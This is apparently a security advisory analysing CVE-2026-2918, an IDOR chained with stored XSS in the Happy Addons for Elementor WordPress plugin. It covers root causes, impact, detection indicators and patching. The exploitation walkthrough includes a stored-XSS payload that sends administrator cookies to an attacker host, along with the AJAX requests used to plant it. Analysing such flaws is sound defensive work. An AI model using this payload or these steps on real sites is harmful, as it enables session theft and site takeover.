CVE-2026-2918: 
WordPress vulnerability analysis and mitigation

CVE-2026-2918 is a chained Insecure Direct Object Reference (IDOR) and Stored Cross-Site Scripting (XSS) vulnerability in the Happy Addons for Elementor WordPress plugin. It affects all versions up to and including 3.21.0, and was published on March 11, 2026. Authenticated attackers with Contributor-level access or above can exploit the flaw to modify template display conditions and inject persistent JavaScript that executes in an administrator's browser. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Feedly, Wordfence).

The vulnerability has two root causes chained together. First, an IDOR (CWE-639) exists in the ha_condition_update AJAX action: the validate_reqeust() method incorrectly calls current_user_can('edit_posts', $template_id) (plural) instead of current_user_can('edit_post', $template_id) (singular), bypassing object-level authorization and allowing any contributor to modify conditions on any published ha_library template. Additionally, the ha_get_current_condition AJAX action entirely lacks a capability check. Second, the cond_to_html() renderer outputs attacker-controlled condition values directly into HTML attributes via string concatenation rather than using esc_attr(), enabling injection of event handler attributes (e.g., onmouseover) that constitute Stored XSS (CWE-79). Exploitation requires only a low-privilege authenticated session and no special configuration (Feedly).

A successful exploit allows a Contributor-level attacker to persistently inject malicious JavaScript into the WordPress admin panel's Template Conditions view. When an administrator visits this panel, the injected script executes in their browser session, potentially enabling session hijacking, credential theft, unauthorized admin account creation, or full site takeover. Confidentiality and integrity of the WordPress site are both at risk, though availability is not directly impacted (Feedly, Wordfence).

No public exploit code or active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.031% (0.000310), indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the low barrier to exploitation — requiring only Contributor-level access, which is commonly granted on multi-author WordPress sites — makes it a realistic risk for affected installations (Feedly).

1. Gain Contributor Access: Register or obtain a Contributor-level (or higher) account on the target WordPress site running Happy Addons for Elementor ≤ 3.21.0.
2. Identify Target Template: Use the ha_get_current_condition AJAX action (which lacks any capability check) to enumerate existing ha_library templates and their IDs by sending an authenticated AJAX request to wp-admin/admin-ajax.php with action=ha_get_current_condition.
3. Craft Malicious Condition Value: Prepare a payload that injects an HTML event handler attribute, for example: " onmouseover="javascript:fetch('https://attacker.com/?c='+document.cookie) as a condition value.
4. Submit via IDOR: Send an authenticated POST request to wp-admin/admin-ajax.php with action=ha_condition_update, specifying any target template_id (authorization bypass via the edit_posts vs. edit_post misconfiguration), and include the crafted malicious condition value.
5. Wait for Admin Interaction: The injected payload is stored in the template's condition metadata. When an administrator navigates to the Template Conditions panel in the WordPress admin, the cond_to_html() function renders the unescaped value into an HTML attribute, triggering the event handler.
6. Harvest Session / Escalate: The executed JavaScript can exfiltrate the administrator's session cookies, perform actions on their behalf (e.g., create a new admin user), or redirect to a phishing page, achieving full site compromise (Feedly).

• Logs: WordPress access logs showing authenticated POST requests to wp-admin/admin-ajax.php with action=ha_condition_update or action=ha_get_current_condition from low-privilege user accounts; repeated enumeration of template IDs from a single user.
• Database: Unexpected or unusual values in the ha_library template post meta containing HTML event handler strings (e.g., onmouseover, onerror, onclick) or JavaScript URIs in condition fields.
• Network: Outbound HTTP requests from administrator browsers to unknown external domains shortly after admin panel visits to the Template Conditions page; potential data exfiltration beacons containing encoded cookie or session data.
• File System: No direct file system artifacts expected, as the payload is stored in the WordPress database rather than the file system.

Users should update the Happy Addons for Elementor plugin to version 3.21.1 or later, which addresses both the IDOR authorization bypass and the missing output escaping. As an interim workaround, site administrators can restrict Contributor-level user registration or remove untrusted Contributor accounts until the patch is applied. Additionally, a Web Application Firewall (WAF) rule blocking AJAX requests to ha_condition_update from non-editor roles can reduce exposure (Feedly, Wordfence, Sucuri).

Wordfence included CVE-2026-2918 in their weekly WordPress vulnerability digest for the week of March 9–15, 2026, highlighting it as a notable medium-severity issue for multi-author WordPress sites (Wordfence). Sucuri also referenced the vulnerability in their March 2026 patch roundup, recommending prompt updates for sites using the plugin (Sucuri). No significant social media controversy or threat actor attribution has been observed.